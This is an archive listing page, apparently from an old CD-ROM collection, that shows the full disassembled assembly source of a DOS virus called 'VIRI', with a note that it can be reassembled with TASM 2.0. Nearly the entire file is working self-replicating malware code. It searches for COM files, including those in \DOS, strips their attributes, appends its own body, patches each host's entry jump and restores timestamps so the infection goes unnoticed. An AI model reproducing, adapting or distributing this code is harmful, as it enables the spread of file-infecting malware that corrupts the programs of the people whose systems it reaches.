home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / PE#1.ASM < prev    next >
Assembly Source File  |  1992-01-08  |  5KB  |  227 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    VIRI                         ██
  7. ;██                                         ██
  8. ;██      Created:   7-Jan-92                             ██
  9. ;██                                         ██
  10. ;██ Disassembled by -=>Wasp<=- aka >>Night Crawler<<                     ██
  11. ;██ Reassemble with TASM 2.0                                             ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.   
  14. DATA_1E        EQU    0
  15. DATA_2E        EQU    0DH
  16. DATA_3E        EQU    19H
  17. DATA_4E        EQU    1CH
  18. DATA_5E        EQU    3AH
  19. DATA_6E        EQU    47H
  20.   
  21. SEG_A        SEGMENT    BYTE PUBLIC
  22.         ASSUME    CS:SEG_A, DS:SEG_A
  23.   
  24.   
  25.         ORG    100h
  26.   
  27. VIRI        PROC    FAR
  28.   
  29. START:
  30.         JMP    SHORT LOC_2        ; (0151)
  31.         DB     90H, 2AH, 2EH, 43H, 4FH, 4DH
  32.         DB     00H, 5CH, 2AH, 2EH, 43H, 4FH
  33.         DB     4DH, 00H
  34.         DB    '\DOS\*.COM'
  35.         DB     00H, 00H,0CDH, 20H
  36.         DB    44 DUP (0)
  37.         DB    0E9H, 00H, 00H,0B4H, 85H, 00H
  38.         DB     00H
  39. LOC_2:
  40.         MOV    DX,103H
  41.         CLD                ; Clear direction
  42.         MOV    SI,DX
  43.         ADD    SI,19H
  44.         MOV    DI,OFFSET DS:[100H]
  45.         MOV    CX,3
  46.         REP    MOVSB            ; Rep when cx >0 Mov [si] to es:[di]
  47.         MOV    SI,DX
  48.         MOV    AX,3524H
  49.         INT    21H            ; DOS Services  ah=function 35h
  50.                         ;  get intrpt vector al in es:bx
  51.         PUSH    ES
  52.         PUSH    BX
  53.         MOV    AX,2524H
  54. ;*        MOV    DX,OFFSET LOC_1        ;*
  55.         DB    0BAH,0B6H, 00H
  56.         ADD    DX,SI
  57.         INT    21H            ; DOS Services  ah=function 25h
  58.                         ;  set intrpt vector al to ds:dx
  59.         PUSH    DS
  60.         POP    ES
  61.         PUSH    ES
  62.         MOV    AH,2FH            ; '/'
  63.         INT    21H            ; DOS Services  ah=function 2Fh
  64.                         ;  get DTA ptr into es:bx
  65.         MOV    [SI+4AH],ES
  66.         MOV    [SI+4CH],BX
  67.         POP    ES
  68.         MOV    AH,1AH
  69.         MOV    DX,DATA_4E
  70.         ADD    DX,SI
  71.         INT    21H            ; DOS Services  ah=function 1Ah
  72.                         ;  set DTA to ds:dx
  73.         MOV    AH,4EH            ; 'N'
  74.         CMP    BYTE PTR [SI+18H],10H
  75.         JA    LOC_3            ; Jump if above
  76.         MOV    DX,0
  77.         ADD    DX,SI
  78.         JMP    SHORT LOC_5        ; (01AF)
  79.         DB    90H
  80. LOC_3:
  81.         CMP    BYTE PTR [SI+18H],20H    ; ' '
  82.         JA    LOC_4            ; Jump if above
  83.         MOV    DX,6
  84.         ADD    DX,SI
  85.         JMP    SHORT LOC_5        ; (01AF)
  86.         DB    90H
  87. LOC_4:
  88.         MOV    DX,DATA_2E
  89.         ADD    DX,SI
  90. LOC_5:
  91.         MOV    CX,23H
  92.         INT    21H            ; DOS Services  ah=function 4Eh
  93.                         ;  find 1st filenam match @ds:dx
  94.         JC    LOC_6            ; Jump if carry Set
  95.         JMP    SHORT LOC_8        ; (01DE)
  96.         DB    90H
  97.   
  98. VIRI        ENDP
  99.   
  100. ;██████████████████████████████████████████████████████████████████████████
  101. ;
  102. ;            External Entry Point
  103. ;
  104. ;██████████████████████████████████████████████████████████████████████████
  105.   
  106. INT_24H_ENTRY    PROC    FAR
  107.         MOV    AL,0
  108.         IRET                ; Interrupt return
  109. INT_24H_ENTRY    ENDP
  110.   
  111. LOC_6:
  112.         MOV    AX,[SI+4AH]
  113.         MOV    DS,AX
  114.         MOV    DX,[SI+4CH]
  115.         MOV    AH,1AH
  116.         INT    21H            ; DOS Services  ah=function 1Ah
  117.                         ;  set DTA to ds:dx
  118.         MOV    AX,2524H
  119.         POP    DX
  120.         POP    DS
  121.         INT    21H            ; DOS Services  ah=function 25h
  122.                         ;  set intrpt vector al to ds:dx
  123.         PUSH    ES
  124.         POP    DS
  125.         MOV    DI,OFFSET START
  126.         PUSH    DI
  127.         RETN    0FFFFH
  128. LOC_7:
  129.         MOV    AH,4FH            ; 'O'
  130.         INT    21H            ; DOS Services  ah=function 4Fh
  131.                         ;  find next filename match
  132.         JC    LOC_6            ; Jump if carry Set
  133. LOC_8:
  134.         MOV    AX,[SI+36H]
  135.         CMP    AX,400H
  136.         JB    LOC_7            ; Jump if below
  137.         CMP    AX,0F230H
  138.         JA    LOC_7            ; Jump if above
  139.         MOV    AX,4301H
  140.         MOV    DX,DATA_5E
  141.         ADD    DX,SI
  142.         MOV    CX,0
  143.         INT    21H            ; DOS Services  ah=function 43h
  144.                         ;  get/set file attrb, nam@ds:dx
  145.         MOV    DX,DATA_5E
  146.         ADD    DX,SI
  147.         MOV    AX,3D02H
  148.         INT    21H            ; DOS Services  ah=function 3Dh
  149.                         ;  open file, al=mode,name@ds:dx
  150.         JC    LOC_10            ; Jump if carry Set
  151.         XCHG    AX,BX
  152.         MOV    DX,DATA_3E
  153.         ADD    DX,SI
  154.         MOV    CX,3
  155.         MOV    AH,3FH            ; '?'
  156.         INT    21H            ; DOS Services  ah=function 3Fh
  157.                         ;  read file, cx=bytes, to ds:dx
  158.         JC    LOC_10            ; Jump if carry Set
  159.         MOV    CL,[SI+1AH]
  160.         MOV    CH,[SI+1BH]
  161.         MOV    AX,[SI+36H]
  162.         SUB    AX,1ADH
  163.         ADD    AX,4BH
  164.         CMP    AX,CX
  165.         JE    LOC_10            ; Jump if equal
  166.         MOV    AX,4202H
  167.         XOR    CX,CX            ; Zero register
  168.         XOR    DX,DX            ; Zero register
  169.         INT    21H            ; DOS Services  ah=function 42h
  170.                         ;  move file ptr, cx,dx=offset
  171.         JC    LOC_10            ; Jump if carry Set
  172.         MOV    DI,SI
  173.         ADD    DI,4FH
  174.         ADD    AX,100H
  175.         MOV    [DI],AX
  176.         SUB    AX,103H
  177.         MOV    [SI+48H],AX
  178.         ADD    WORD PTR [SI+48H],4EH
  179.         INC    BYTE PTR [SI+18H]
  180.         CMP    BYTE PTR [SI+18H],30H    ; '0'
  181.         JB    LOC_9            ; Jump if below
  182.         MOV    BYTE PTR [SI+18H],0
  183. LOC_9:
  184.         MOV    AH,40H            ; '@'
  185.         MOV    DX,DATA_1E
  186.         ADD    DX,SI
  187.         MOV    CX,1ADH
  188.         INT    21H            ; DOS Services  ah=function 40h
  189.                         ;  write file cx=bytes, to ds:dx
  190.         JC    LOC_10            ; Jump if carry Set
  191.         MOV    AX,4200H
  192.         XOR    CX,CX            ; Zero register
  193.         XOR    DX,DX            ; Zero register
  194.         INT    21H            ; DOS Services  ah=function 42h
  195.                         ;  move file ptr, cx,dx=offset
  196.         JC    LOC_10            ; Jump if carry Set
  197.         MOV    AH,40H            ; '@'
  198.         MOV    CX,3
  199.         MOV    DX,DATA_6E
  200.         ADD    DX,SI
  201.         INT    21H            ; DOS Services  ah=function 40h
  202.                         ;  write file cx=bytes, to ds:dx
  203. LOC_10:
  204.         MOV    CX,[SI+32H]
  205.         MOV    DX,[SI+34H]
  206.         MOV    AX,5701H
  207.         INT    21H            ; DOS Services  ah=function 57h
  208.                         ;  get/set file date & time
  209.         MOV    AH,3EH            ; '>'
  210.         INT    21H            ; DOS Services  ah=function 3Eh
  211.                         ;  close file, bx=file handle
  212.         MOV    AX,4301H
  213.         MOV    CX,[SI+31H]
  214.         XOR    CH,CH            ; Zero register
  215.         MOV    DX,DATA_5E
  216.         ADD    DX,SI
  217.         INT    21H            ; DOS Services  ah=function 43h
  218.                         ;  get/set file attrb, nam@ds:dx
  219.         JMP    LOC_7            ; (01D8)
  220.         DB    'Public enemy number one'
  221.   
  222. SEG_A        ENDS
  223.   
  224.   
  225.   
  226.         END    START
  227.